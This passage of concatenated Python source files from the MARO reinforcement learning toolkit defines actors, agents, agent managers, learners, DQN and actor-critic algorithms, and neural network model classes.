FullyConnectedBlock, LearningModel, NNStack, OptimizerOptions from maro.rl.scheduling import LinearParameterScheduler, Scheduler, TwoPhaseLinearParameterScheduler from maro.rl.shaping import AbsShaper, ActionShaper, ExperienceShaper, KStepExperienceShaper, StateShaper from maro.rl.storage import AbsStore, ColumnBasedStore, OverwriteType __all__ = [ "AbsActor", "SimpleActor", "AbsAgent", "AbsAgentManager", "AgentManagerMode", "SimpleAgentManager", "AbsAlgorithm", "ActionInfo", "ActorCritic", "ActorCriticConfig", "DQN", "DQNConfig", "PolicyGradient", "PolicyOptimization", "PolicyOptimizationConfig", "ActorProxy", "ActorWorker", "concat_experiences_by_agent", "merge_experiences_with_trajectory_boundaries", "AbsExplorer", "EpsilonGreedyExplorer", "GaussianNoiseExplorer", "NoiseExplorer", "UniformNoiseExplorer", "AbsLearner", "SimpleLearner", "AbsBlock", "FullyConnectedBlock", "LearningModel", "NNStack", "OptimizerOptions", "LinearParameterScheduler", "Scheduler", "TwoPhaseLinearParameterScheduler", "AbsShaper", "ActionShaper", "ExperienceShaper", "KStepExperienceShaper", "StateShaper", "AbsStore", "ColumnBasedStore", "OverwriteType" ] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .abs_actor import AbsActor from .simple_actor import SimpleActor __all__ = ["AbsActor", "SimpleActor"] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from maro.rl.agent.simple_agent_manager import SimpleAgentManager from maro.simulator import Env from .abs_actor import AbsActor class SimpleActor(AbsActor): """A simple ``AbsActor`` implementation. Args: env (Env): An Env instance. agent_manager (SimpleAgentManager): An AgentManager instance that manages all agents. """ def __init__(self, env: Env, agent_manager: SimpleAgentManager): super().__init__(env, agent_manager) def roll_out( self, model_dict: dict = None, exploration_params=None, done: bool = False, return_details: bool = True ): """Perform one episode of roll-out and return performance and experiences. Args: model_dict (dict): If not None, the agents will load the models from model_dict and use these models to perform roll-out. exploration_params: Exploration parameters. done (bool): If True, the current call is the last call, i.e., no more roll-outs will be performed. This flag is used to signal remote actor workers to exit. return_details (bool): If True, return experiences as well as performance metrics provided by the env. Returns: Performance and relevant details from the episode (e.g., experiences). """ if done: return None, None self._env.reset() # load models if model_dict is not None: self._agents.load_models(model_dict) # load exploration parameters: if exploration_params is not None: self._agents.set_exploration_params(exploration_params) metrics, decision_event, is_done = self._env.step(None) while not is_done: action = self._agents.choose_action(decision_event, self._env.snapshot_list) metrics, decision_event, is_done = self._env.step(action) self._agents.on_env_feedback(metrics) details = self._agents.post_process(self._env.snapshot_list) if return_details else None return self._env.metrics, details --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .abs_agent import AbsAgent from .abs_agent_manager import AbsAgentManager, AgentManagerMode from .simple_agent_manager import SimpleAgentManager __all__ = ["AbsAgent", "AbsAgentManager", "AgentManagerMode", "SimpleAgentManager"] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os from abc import ABC, abstractmethod from maro.rl.algorithms.abs_algorithm import AbsAlgorithm from maro.rl.storage.abs_store import AbsStore class AbsAgent(ABC): """Abstract RL agent class. It's a sandbox for the RL algorithm. Scenario-specific details will be excluded. We focus on the abstraction algorithm development here. Environment observation and decision events will be converted to a uniform format before calling in. And the output will be converted to an environment executable format before return back to the environment. Its key responsibility is optimizing policy based on interaction with the environment. Args: name (str): Agent's name. algorithm (AbsAlgorithm): A concrete algorithm instance that inherits from AbstractAlgorithm. This is the centerpiece of the Agent class and is responsible for the most important tasks of an agent: choosing actions and optimizing models. experience_pool (AbsStore): It is used to store experiences processed by the experience shaper, which will be used by some value-based algorithms, such as DQN. Defaults to None. """ def __init__( self, name: str, algorithm: AbsAlgorithm, experience_pool: AbsStore = None ): self._name = name self._algorithm = algorithm self._experience_pool = experience_pool @property def algorithm(self): """Underlying algorithm employed by the agent.""" return self._algorithm @property def experience_pool(self): """Underlying experience pool where the agent stores experiences.""" return self._experience_pool def choose_action(self, model_state): """Choose an action using the underlying algorithm based on a preprocessed env state. Args: model_state: State vector as accepted by the underlying algorithm. Returns: If the agent's explorer is None, the action given by the underlying model is returned. Otherwise, an exploratory action is returned. """ return self._algorithm.choose_action(model_state) def set_exploration_params(self, **params): self._algorithm.set_exploration_params(**params) @abstractmethod def train(self, *args, **kwargs): """Training logic to be implemented by the user. For example, this may include drawing samples from the experience pool and the algorithm training on these samples. """ return NotImplementedError def store_experiences(self, experiences): """Store new experiences in the experience pool.""" if self._experience_pool is not None: self._experience_pool.put(experiences) def load_model(self, model): """Load models from memory.""" self._algorithm.model.load(model) def dump_model(self): """Return the algorithm's trainable models.""" return self._algorithm.model.dump() def load_model_from_file(self, dir_path: str): """Load trainable models from disk. Load trainable models from the specified directory. The model file is always prefixed with the agent's name. Args: dir_path (str): path to the directory where the models are saved. """ self._algorithm.model.load_from_file(os.path.join(dir_path, self._name)) def dump_model_to_file(self, dir_path: str): """Dump the algorithm's trainable models to disk. Dump trainable models to the specified directory. The model file is always prefixed with the agent's name. Args: dir_path (str): path to the directory where the models are saved. """ self._algorithm.model.dump_to_file(os.path.join(dir_path, self._name)) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from abc import ABC, abstractmethod from enum import Enum from maro.rl.shaping.action_shaper import ActionShaper from maro.rl.shaping.experience_shaper import ExperienceShaper from maro.rl.shaping.state_shaper import StateShaper from maro.utils.exception.rl_toolkit_exception import AgentManagerModeError class AgentManagerMode(Enum): TRAIN = "train" INFERENCE = "inference" TRAIN_INFERENCE = "train_inference" class AbsAgentManager(ABC): """Abstract agent manager class. The agent manager provides a unified interactive interface with the environment for RL agent(s). From the actor’s perspective, it isolates the complex dependencies of the various homogeneous/heterogeneous agents, so that the whole agent manager will behave just like a single agent. Args: name (str): Name of agent manager. mode (AgentManagerMode): An ``AgentManagerNode`` enum member that indicates the role of the agent manager in the current process. agent_dict (dict): A dictionary of agents to be wrapper by the agent manager. state_shaper (StateShaper, optional): It is responsible for converting the environment observation to model input. action_shaper (ActionShaper, optional): It is responsible for converting an agent's model output to environment executable action. Cannot be None under Inference and TrainInference modes. experience_shaper (ExperienceShaper, optional): It is responsible for processing data in the replay buffer at the end of an episode. """ def __init__( self, name: str, mode: AgentManagerMode, agent_dict: dict, state_shaper: StateShaper = None, action_shaper: ActionShaper = None, experience_shaper: ExperienceShaper = None ): self._name = name self._mode = mode self.agent_dict = agent_dict self._state_shaper = state_shaper self._action_shaper = action_shaper self._experience_shaper = experience_shaper def __getitem__(self, agent_id): return self.agent_dict[agent_id] @property def name(self): """Agent manager's name.""" return self._name @abstractmethod def choose_action(self, *args, **kwargs): """Generate an environment executable action given the current decision event and snapshot list. """ return NotImplemented @abstractmethod def on_env_feedback(self, *args, **kwargs): """Processing logic after receiving feedback from the environment is implemented here. See ``SimpleAgentManager`` for example. """ return NotImplemented @abstractmethod def post_process(self, *args, **kwargs): """Processing logic after an episode is finished. These things may involve generating experiences and resetting stateful objects. See ``SimpleAgentManager`` for example. """ return NotImplemented @abstractmethod def train(self, experience_by_agent: dict): """Train the agents.""" return NotImplemented def set_exploration_params(self, params): # Per-agent exploration parameters if isinstance(params, dict) and params.keys() <= self.agent_dict.keys(): for agent_id, params in params.items(): self.agent_dict[agent_id].set_exploration_params(**params) # Shared exploration parameters for all agents else: for agent in self.agent_dict.values(): agent.set_exploration_params(**params) def _assert_train_mode(self): if self._mode != AgentManagerMode.TRAIN and self._mode != AgentManagerMode.TRAIN_INFERENCE: raise AgentManagerModeError(msg=f"this method is unavailable under mode {self._mode}") def _assert_inference_mode(self): if self._mode != AgentManagerMode.INFERENCE and self._mode != AgentManagerMode.TRAIN_INFERENCE: raise AgentManagerModeError(msg=f"this method is unavailable under mode {self._mode}") --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os from abc import abstractmethod from maro.rl.algorithms.policy_optimization import ActionInfo from maro.rl.shaping.action_shaper import ActionShaper from maro.rl.shaping.experience_shaper import ExperienceShaper from maro.rl.shaping.state_shaper import StateShaper from maro.rl.storage.column_based_store import ColumnBasedStore from maro.utils.exception.rl_toolkit_exception import MissingShaper from .abs_agent_manager import AbsAgentManager, AgentManagerMode class SimpleAgentManager(AbsAgentManager): def __init__( self, name: str, mode: AgentManagerMode, agent_dict: dict, state_shaper: StateShaper = None, action_shaper: ActionShaper = None, experience_shaper: ExperienceShaper = None ): if mode in {AgentManagerMode.INFERENCE, AgentManagerMode.TRAIN_INFERENCE}: if state_shaper is None: raise MissingShaper(msg=f"state shaper cannot be None under mode {self._mode}") if action_shaper is None: raise MissingShaper(msg=f"action_shaper cannot be None under mode {self._mode}") if experience_shaper is None: raise MissingShaper(msg=f"experience_shaper cannot be None under mode {self._mode}") super().__init__( name, mode, agent_dict, state_shaper=state_shaper, action_shaper=action_shaper, experience_shaper=experience_shaper ) # Data structures to temporarily store transitions and trajectory self._transition_cache = {} self._trajectory = ColumnBasedStore() def choose_action(self, decision_event, snapshot_list): self._assert_inference_mode() agent_id, model_state = self._state_shaper(decision_event, snapshot_list) action_info = self.agent_dict[agent_id].choose_action(model_state) self._transition_cache = { "state": model_state, "reward": None, "agent_id": agent_id, "event": decision_event } if isinstance(action_info, ActionInfo): self._transition_cache["action"] = action_info.action self._transition_cache["log_action_probability"] = action_info.log_probability else: self._transition_cache["action"] = action_info return self._action_shaper(self._transition_cache["action"], decision_event, snapshot_list) def on_env_feedback(self, metrics): """This method records the environment-generated metrics as part of the latest transition in the trajectory. Args: metrics: business metrics provided by the environment after an action has been executed. """ self._transition_cache["metrics"] = metrics self._trajectory.put(self._transition_cache) def post_process(self, snapshot_list): """This method processes the latest trajectory into experiences. Args: snapshot_list: the snapshot list from the env at the end of an episode. """ experiences = self._experience_shaper(self._trajectory, snapshot_list) self._trajectory.clear() self._transition_cache = {} self._state_shaper.reset() self._action_shaper.reset() self._experience_shaper.reset() return experiences @abstractmethod def train(self, experiences_by_agent: dict): """Train all agents.""" return NotImplementedError def load_models(self, agent_model_dict): """Load models from memory for each agent.""" for agent_id, models in agent_model_dict.items(): self.agent_dict[agent_id].load_model(models) def dump_models(self) -> dict: """Get agents' underlying models. This is usually used in distributed mode where models need to be broadcast to remote roll-out actors. """ return {agent_id: agent.dump_model() for agent_id, agent in self.agent_dict.items()} def load_models_from_files(self, dir_path): """Load models from disk for each agent.""" for agent in self.agent_dict.values(): agent.load_model_from_file(dir_path) def dump_models_to_files(self, dir_path: str): """Dump agents' models to disk. Each agent will use its own name to create a separate file under ``dir_path`` for dumping. """ os.makedirs(dir_path, exist_ok=True) for agent in self.agent_dict.values(): agent.dump_model_to_file(dir_path) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .abs_algorithm import AbsAlgorithm from .dqn import DQN, DQNConfig from .policy_optimization import ( ActionInfo, ActorCritic, ActorCriticConfig, PolicyGradient, PolicyOptimization, PolicyOptimizationConfig ) __all__ = [ "AbsAlgorithm", "DQN", "DQNConfig", "ActionInfo", "ActorCritic", "ActorCriticConfig", "PolicyGradient", "PolicyOptimization", "PolicyOptimizationConfig" ] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from abc import ABC, abstractmethod import torch from maro.rl.models.learning_model import LearningModel from maro.utils.exception.rl_toolkit_exception import UnrecognizedTask class AbsAlgorithm(ABC): """Abstract RL algorithm class. The class provides uniform policy interfaces such as ``choose_action`` and ``train``. We also provide some predefined RL algorithm based on it, such DQN, A2C, etc. User can inherit from it to customize their own algorithms. Args: model (LearningModel): Task model or container of task models required by the algorithm. config: Settings for the algorithm. """ def __init__(self, model: LearningModel, config): self._device = torch.device("cuda" if torch.cuda.is_available() else "cpu") self._model = model.to(self._device) self._config = config @property def model(self): return self._model @abstractmethod def choose_action(self, state): """This method uses the underlying model(s) to compute an action from a shaped state. Args: state: A state object shaped by a ``StateShaper`` to conform to the model input format. Returns: The action to be taken given ``state``. It is usually necessary to use an ``ActionShaper`` to convert this to an environment executable action. """ return NotImplementedError @abstractmethod def train(self, *args, **kwargs): """Train models using samples. This method is algorithm-specific and needs to be implemented by the user. For example, for the DQN algorithm, this may look like train(self, state_batch, action_batch, reward_batch, next_state_batch). """ return NotImplementedError def set_exploration_params(self, **params): pass @staticmethod def validate_task_names(model_task_names, expected_task_names): task_names, expected_task_names = set(model_task_names), set(expected_task_names) if len(model_task_names) > 1 and task_names != expected_task_names: raise UnrecognizedTask(f"Expected task names {expected_task_names}, got {task_names}") --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from typing import Union import numpy as np import torch from maro.rl.models.learning_model import LearningModel from .abs_algorithm import AbsAlgorithm class DQNConfig: """Configuration for the DQN algorithm. Args: reward_discount (float): Reward decay as defined in standard RL terminology. loss_cls: Loss function class for evaluating TD errors. target_update_frequency (int): Number of training rounds between target model updates. epsilon (float): Exploration rate for epsilon-greedy exploration. Defaults to None. tau (float): Soft update coefficient, i.e., target_model = tau * eval_model + (1 - tau) * target_model. is_double (bool): If True, the next Q values will be computed according to the double DQN algorithm, i.e., q_next = Q_target(s, argmax(Q_eval(s, a))). Otherwise, q_next = max(Q_target(s, a)). See https://arxiv.org/pdf/1509.06461.pdf for details. Defaults to False. advantage_mode (str): Advantage mode for the dueling architecture. Defaults to None, in which case it is assumed that the regular Q-value model is used. per_sample_td_error_enabled (bool): If True, per-sample TD errors will be returned by the DQN's train() method. Defaults to False. """ __slots__ = [ "reward_discount", "loss_func", "target_update_frequency", "epsilon", "tau", "is_double", "advantage_mode", "per_sample_td_error_enabled" ] def __init__( self, reward_discount: float, loss_cls, target_update_frequency: int, epsilon: float = .0, tau: float = 0.1, is_double: bool = True, advantage_mode: str = None, per_sample_td_error_enabled: bool = False ): self.reward_discount = reward_discount self.target_update_frequency = target_update_frequency self.epsilon = epsilon self.tau = tau self.is_double = is_double self.advantage_mode = advantage_mode self.per_sample_td_error_enabled = per_sample_td_error_enabled self.loss_func = loss_cls(reduction="none" if per_sample_td_error_enabled else "mean") class DQN(AbsAlgorithm): """The Deep-Q-Networks algorithm. See https://web.stanford.edu/class/psych209/Readings/MnihEtAlHassibis15NatureControlDeepRL.pdf for details. Args: model (LearningModel): Q-value model. config: Configuration for DQN algorithm. """ def __init__(self, model: LearningModel, config: DQNConfig): self.validate_task_names(model.task_names, {"state_value", "advantage"}) super().__init__(model, config) if isinstance(self._model.output_dim, int): self._num_actions = self._model.output_dim else: self._num_actions = self._model.output_dim["advantage"] self._training_counter = 0 self._target_model = model.copy() if model.is_trainable else None def choose_action(self, state: np.ndarray) -> Union[int, np.ndarray]: state = torch.from_numpy(state).to(self._device) is_single = len(state.shape) == 1 if is_single: state = state.unsqueeze(dim=0) greedy_action = self._get_q_values(self._model, state, is_training=False).argmax(dim=1).data # No exploration if self._config.epsilon == .0: return greedy_action.item() if is_single else greedy_action.numpy() if is_single: return greedy_action if np.random.random() > self._config.epsilon else np.random.choice(self._num_actions) # batch inference return np.array([ act if np.random.random() > self._config.epsilon else np.random.choice(self._num_actions) for act in greedy_action ]) def _get_q_values(self, model, states, is_training: bool = True): if self._config.advantage_mode is not None: output = model(states, is_training=is_training) state_values = output["state_value"] advantages = output["advantage"] # Use mean or max correction to address the identifiability issue corrections = advantages.mean(1) if self._config.advantage_mode == "mean" else advantages.max(1)[0] q_values = state_values + advantages - corrections.unsqueeze(1) return q_values else: return model(states, is_training=is_training) def _get_next_q_values(self, current_q_values_for_all_actions, next_states): next_q_values_for_all_actions = self._get_q_values(self._target_model, next_states, is_training=False) if self._config.is_double: actions = current_q_values_for_all_actions.max(dim=1)[1].unsqueeze(1) return next_q_values_for_all_actions.gather(1, actions).squeeze(1) # (N,) else: return next_q_values_for_all_actions.max(dim=1)[0] # (N,) def _compute_td_errors(self, states, actions, rewards, next_states): if len(actions.shape) == 1: actions = actions.unsqueeze(1) # (N, 1) current_q_values_for_all_actions = self._get_q_values(self._model, states) current_q_values = current_q_values_for_all_actions.gather(1, actions).squeeze(1) # (N,) next_q_values = self._get_next_q_values(current_q_values_for_all_actions, next_states) # (N,) target_q_values = (rewards + self._config.reward_discount * next_q_values).detach() # (N,) return self._config.loss_func(current_q_values, target_q_values) def train(self, states: np.ndarray, actions: np.ndarray, rewards: np.ndarray, next_states: np.ndarray): states = torch.from_numpy(states).to(self._device) actions = torch.from_numpy(actions).to(self._device) rewards = torch.from_numpy(rewards).to(self._device) next_states = torch.from_numpy(next_states).to(self._device) loss = self._compute_td_errors(states, actions, rewards, next_states) self._model.learn(loss.mean() if self._config.per_sample_td_error_enabled else loss) self._training_counter += 1 if self._training_counter % self._config.target_update_frequency == 0: self._target_model.soft_update(self._model, self._config.tau) return loss.detach().numpy() def set_exploration_params(self, epsilon): self._config.epsilon = epsilon --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from collections import namedtuple from typing import Callable, List, Union import numpy as np import torch from maro.rl.algorithms.abs_algorithm import AbsAlgorithm from maro.rl.models.learning_model import LearningModel from maro.rl.utils.trajectory_utils import get_lambda_returns, get_truncated_cumulative_reward ActionInfo = namedtuple("ActionInfo", ["action", "log_probability"]) class PolicyOptimizationConfig: """Configuration for the policy optimization algorithm family.""" __slots__ = ["reward_discount"] def __init__(self, reward_discount): self.reward_discount = reward_discount class PolicyOptimization(AbsAlgorithm): """Policy optimization algorithm family. The algorithm family includes policy gradient (e.g. REINFORCE), actor-critic, PPO, etc. """ def choose_action(self, state: np.ndarray) -> Union[ActionInfo, List[ActionInfo]]: """Use the actor (policy) model to generate stochastic actions. Args: state: Input to the actor model. Returns: A single ActionInfo namedtuple or a list of ActionInfo namedtuples. """ state = torch.from_numpy(state).to(self._device) is_single = len(state.shape) == 1 if is_single: state = state.unsqueeze(dim=0) action_distribution = self._model(state, task_name="actor", is_training=False).squeeze().numpy() if is_single: action = np.random.choice(len(action_distribution), p=action_distribution) return ActionInfo(action=action, log_probability=np.log(action_distribution[action])) # batch inference batch_results = [] for distribution in action_distribution: action = np.random.choice(len(distribution), p=distribution) batch_results.append(ActionInfo(action=action, log_probability=np.log(distribution[action]))) return batch_results def train( self, states: np.ndarray, actions: np.ndarray, log_action_prob: np.ndarray, rewards: np.ndarray ): raise NotImplementedError class PolicyGradient(PolicyOptimization): """The vanilla Policy Gradient (VPG) algorithm, a.k.a., REINFORCE. Reference: https://github.com/openai/spinningup/tree/master/spinup/algos/pytorch. """ def train( self, states: np.ndarray, actions: np.ndarray, log_action_prob: np.ndarray, rewards: np.ndarray ): states = torch.from_numpy(states).to(self._device) actions = torch.from_numpy(actions).to(self._device) returns = get_truncated_cumulative_reward(rewards, self._config.reward_discount) returns = torch.from_numpy(returns).to(self._device) action_distributions = self._model(states) action_prob = action_distributions.gather(1, actions.unsqueeze(1)).squeeze() # (N, 1) loss = -(torch.log(action_prob) * returns).mean() self._model.learn(loss) class ActorCriticConfig(PolicyOptimizationConfig): """Configuration for the Actor-Critic algorithm. Args: reward_discount (float): Reward decay as defined in standard RL terminology. critic_loss_func (Callable): Loss function for the critic model. train_iters (int): Number of gradient descent steps per call to ``train``. actor_loss_coefficient (float): The coefficient for actor loss in the total loss function, e.g., loss = critic_loss + ``actor_loss_coefficient`` * actor_loss. Defaults to 1.0. k (int): Number of time steps used in computing returns or return estimates. Defaults to -1, in which case rewards are accumulated until the end of the trajectory. lam (float): Lambda coefficient used in computing lambda returns. Defaults to 1.0, in which case the usual k-step return is computed. clip_ratio (float): Clip ratio in the PPO algorithm (https://arxiv.org/pdf/1707.06347.pdf). Defaults to None, in which case the actor loss is calculated using the usual policy gradient theorem. """ __slots__ = [ "reward_discount", "critic_loss_func", "train_iters", "actor_loss_coefficient", "k", "lam", "clip_ratio" ] def __init__( self, reward_discount: float, critic_loss_func: Callable, train_iters: int, actor_loss_coefficient: float = 1.0, k: int = -1, lam: float = 1.0, clip_ratio: float = None ): super().__init__(reward_discount) self.critic_loss_func = critic_loss_func self.train_iters = train_iters self.actor_loss_coefficient = actor_loss_coefficient self.k = k self.lam = lam self.clip_ratio = clip_ratio class ActorCritic(PolicyOptimization): """Actor Critic algorithm with separate policy and value models. References: https://github.com/openai/spinningup/tree/master/spinup/algos/pytorch. https://towardsdatascience.com/understanding-actor-critic-methods-931b97b6df3f Args: model (LearningModel): Multi-task model that computes action distributions and state values. It may or may not have a shared bottom stack. config: Configuration for the AC algorithm. """ def __init__(self, model: LearningModel, config: ActorCriticConfig): self.validate_task_names(model.task_names, {"actor", "critic"}) super().__init__(model, config) def _get_values_and_bootstrapped_returns(self, state_sequence, reward_sequence): state_values = self._model(state_sequence, task_name="critic").detach().squeeze() return_est = get_lambda_returns( reward_sequence, state_values, self._config.reward_discount, self._config.lam, k=self._config.k ) return state_values, return_est def train( self, states: np.ndarray, actions: np.ndarray, log_action_prob: np.ndarray, rewards: np.ndarray ): states = torch.from_numpy(states).to(self._device) actions = torch.from_numpy(actions).to(self._device) log_action_prob = torch.from_numpy(log_action_prob).to(self._device) rewards = torch.from_numpy(rewards).to(self._device) state_values, return_est = self._get_values_and_bootstrapped_returns(states, rewards) advantages = return_est - state_values for _ in range(self._config.train_iters): critic_loss = self._config.critic_loss_func( self._model(states, task_name="critic").squeeze(), return_est ) action_prob = self._model(states, task_name="actor").gather(1, actions.unsqueeze(1)).squeeze() # (N,) log_action_prob_new = torch.log(action_prob) actor_loss = self._actor_loss(log_action_prob_new, log_action_prob, advantages) loss = critic_loss + self._config.actor_loss_coefficient * actor_loss self._model.learn(loss) def _actor_loss(self, log_action_prob_new, log_action_prob_old, advantages): if self._config.clip_ratio is not None: ratio = torch.exp(log_action_prob_new - log_action_prob_old) clip_ratio = torch.clamp(ratio, 1 - self._config.clip_ratio, 1 + self._config.clip_ratio) actor_loss = -(torch.min(ratio * advantages, clip_ratio * advantages)).mean() else: actor_loss = -(log_action_prob_new * advantages).mean() return actor_loss --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .experience_collection import concat_experiences_by_agent, merge_experiences_with_trajectory_boundaries from .single_learner_multi_actor_sync_mode import ActorProxy, ActorWorker __all__ = ["ActorProxy", "ActorWorker", "concat_experiences_by_agent", "merge_experiences_with_trajectory_boundaries"] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from collections import defaultdict def concat_experiences_by_agent(exp_by_source: dict) -> dict: """Concatenate experiences from multiple sources, by agent ID. The experience from each source is expected to be already grouped by agent ID. The result is a single dictionary of experiences with keys being agent IDs and values being the concatenation of experiences from all sources for each agent ID. Args: exp_by_source (dict): Experiences from multiple sources. Each value should consist of experiences grouped by agent ID. Returns: Merged experiences with agent IDs as keys. """ merged = {} for exp_by_agent in exp_by_source.values(): for agent_id, exp in exp_by_agent.items(): if agent_id not in merged: merged[agent_id] = defaultdict(list) for k, v in exp.items(): merged[agent_id][k].extend(v) return merged def merge_experiences_with_trajectory_boundaries(trajectories_by_source) -> dict: """Collect each agent's trajectories from multiple sources. Args: trajectories_by_source (dict): Agent's trajectories from multiple sources. Returns: A list of trajectories for each agent. """ merged = defaultdict(list) for exp_by_agent in trajectories_by_source.values(): for agent_id, trajectory in exp_by_agent.items(): merged[agent_id].append(trajectory) return merged --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .abs_learner import AbsLearner from .simple_learner import SimpleLearner __all__ = ["AbsLearner", "SimpleLearner"] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from abc import ABC class AbsLearner(ABC): """Abstract learner class to control the policy learning process.""" def __init__(self): pass def learn(self, *args, **kwargs): """The outermost training loop logic is implemented here.""" pass def test(self): """Test policy performance.""" pass --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import sys from typing import Union from maro.rl.actor.simple_actor import SimpleActor from maro.rl.agent.simple_agent_manager import SimpleAgentManager from maro.rl.dist_topologies.single_learner_multi_actor_sync_mode import ActorProxy from maro.rl.scheduling.scheduler import Scheduler from maro.utils import DummyLogger, Logger from .abs_learner import AbsLearner class SimpleLearner(AbsLearner): """A simple implementation of ``AbsLearner``. Args: agent_manager (AbsAgentManager): An AgentManager instance that manages all agents. actor (SimpleActor or ActorProxy): An SimpleActor or ActorProxy instance responsible for performing roll-outs (environment sampling). scheduler (AbsScheduler): A scheduler responsible for iterating over episodes and generating exploration parameters if necessary. logger (Logger): Used to log important messages. """ def __init__( self, agent_manager: SimpleAgentManager, actor: Union[SimpleActor, ActorProxy], scheduler: Scheduler, logger: Logger = DummyLogger() ): super().__init__() self._agent_manager = agent_manager self._actor = actor self._scheduler = scheduler self._logger = logger def learn(self): """Main loop for collecting experiences from the actor and using them to update policies.""" for exploration_params in self._scheduler: performance, exp_by_agent = self._actor.roll_out( model_dict=None if self._is_shared_agent_instance() else self._agent_manager.dump_models(), exploration_params=exploration_params ) self._scheduler.record_performance(performance) ep_summary = f"ep {self._scheduler.current_ep} - performance: {performance}" if exploration_params: ep_summary = f"{ep_summary}, exploration_params: {self._scheduler.exploration_params}" self._logger.info(ep_summary) self._agent_manager.train(exp_by_agent) def test(self): """Test policy performance.""" performance, _ = self._actor.roll_out( model_dict=self._agent_manager.dump_models(), return_details=False ) self._scheduler.record_performance(performance) def exit(self, code: int = 0): """Tell the remote actor to exit.""" if isinstance(self._actor, ActorProxy): self._actor.roll_out(done=True) sys.exit(code) def load_models(self, dir_path: str): self._agent_manager.load_models_from_files(dir_path) def dump_models(self, dir_path: str): self._agent_manager.dump_models_to_files(dir_path) def _is_shared_agent_instance(self): """If true, the set of agents performing inference in actor is the same as self._agent_manager.""" return isinstance(self._actor, SimpleActor) and id(self._actor.agents) == id(self._agent_manager) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .abs_block import AbsBlock from .fc_block import FullyConnectedBlock from .learning_model import LearningModel, NNStack, OptimizerOptions __all__ = ["AbsBlock", "FullyConnectedBlock", "LearningModel", "NNStack", "OptimizerOptions"] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from collections import namedtuple from itertools import chain from typing import Dict, Union import torch import torch.nn as nn from maro.utils import clone from maro.utils.exception.rl_toolkit_exception import NNStackDimensionError, MissingOptimizer from .abs_block import AbsBlock OptimizerOptions = namedtuple("OptimizerOptions", ["cls", "params"]) class NNStack(nn.Module): """An NN stack that consists of a sequence of chainable blocks. Args: name (str): Name of the stack. blocks (AbsBlock): Blocks that comprise the model. They must be chainable, i.e., the output dimension of a block must match the input dimension of its successor. """ def __init__(self, name: str, *blocks: [AbsBlock]): super().__init__() self._name = name self._input_dim = blocks[0].input_dim self._output_dim = blocks[-1].output_dim self._net = nn.Sequential(*blocks) @property def name(self): return self._name @property def input_dim(self): return self._input_dim @property def output_dim(self): return self._output_dim def forward(self, inputs): """Feedforward computation. Args: inputs: Inputs to the model. Returns: Outputs from the model. """ return self._net(inputs) class LearningModel(nn.Module): """NN model that consists of multiple task heads and an optional shared stack. Args: task_stacks (NNStack): NNStack instances, each of which performs a designated task. shared_stack (NNStack): Network module that forms that shared part of the model. Defaults to None. optimizer_options (Union[OptimizerOptions, Dict[str, OptimizerOptions]]): Optimizer options for the internal stacks. If none, no optimizer will be created for the model and the model will not be trainable. If it is a single OptimizerOptions instance, an optimizer will be created to jointly optimize all parameters of the model. If it is a dictionary, for each `(key, value)` pair, an optimizer specified by `value` will be created for the internal stack named `key`. Defaults to None. """ def __init__( self, *task_stacks: NNStack, shared_stack: NNStack = None, optimizer_options: Union[OptimizerOptions, Dict[str, OptimizerOptions]] = None ): self.validate_dims(*task_stacks, shared_stack=shared_stack) super().__init__() self._stack_dict = {stack.name: stack for stack in task_stacks} # shared stack self._shared_stack = shared_stack if self._shared_stack: self._stack_dict[self._shared_stack.name] = self._shared_stack # task_heads self._task_stack_dict = nn.ModuleDict({task_stack.name: task_stack for task_stack in task_stacks}) self._input_dim = self._shared_stack.input_dim if self._shared_stack else task_stacks[0].input_dim if len(task_stacks) == 1: self._output_dim = task_stacks[0].output_dim else: self._output_dim = {task_stack.name: task_stack.output_dim for task_stack in task_stacks} self._is_trainable = optimizer_options is not None if self._is_trainable: if isinstance(optimizer_options, OptimizerOptions): self._optimizer = optimizer_options.cls(self.parameters(), **optimizer_options.params) else: self._optimizer = { stack_name: opt.cls(self._stack_dict[stack_name].parameters(), **opt.params) for stack_name, opt in optimizer_options.items() } else: self.eval() for param in self.parameters(): param.requires_grad = False def __getstate__(self): dic = self.__dict__.copy() if "_optimizer" in dic: del dic["_optimizer"] dic["_is_trainable"] = False return dic def __setstate__(self, dic: dict): self.__dict__ = dic @property def task_names(self) -> [str]: return list(self._task_stack_dict.keys()) @property def shared_stack(self): return self._shared_stack @property def input_dim(self): return self._input_dim @property def output_dim(self): return self._output_dim @property def is_trainable(self) -> bool: return self._is_trainable def _forward(self, inputs, task_name: str = None): if self._shared_stack: inputs = self._shared_stack(inputs) if len(self._task_stack_dict) == 1: return list(self._task_stack_dict.values())[0](inputs) if task_name is None: return {name: task_stack(inputs) for name, task_stack in self._task_stack_dict.items()} if isinstance(task_name, list): return {name: self._task_stack_dict[name](inputs) for name in task_name} else: return self._task_stack_dict[task_name](inputs) def forward(self, inputs, task_name: str = None, is_training: bool = True): """Feedforward computations for the given head(s). Args: inputs: Inputs to the model. task_name (str): The name of the task for which the network output is required. If the model contains only one task module, the task_name is ignored and the output of that module will be returned. If the model contains multiple task modules, then 1) if task_name is None, the output from all task modules will be returned in the form of a dictionary; 2) if task_name is a list, the outputs from the task modules specified in the list will be returned in the form of a dictionary; 3) 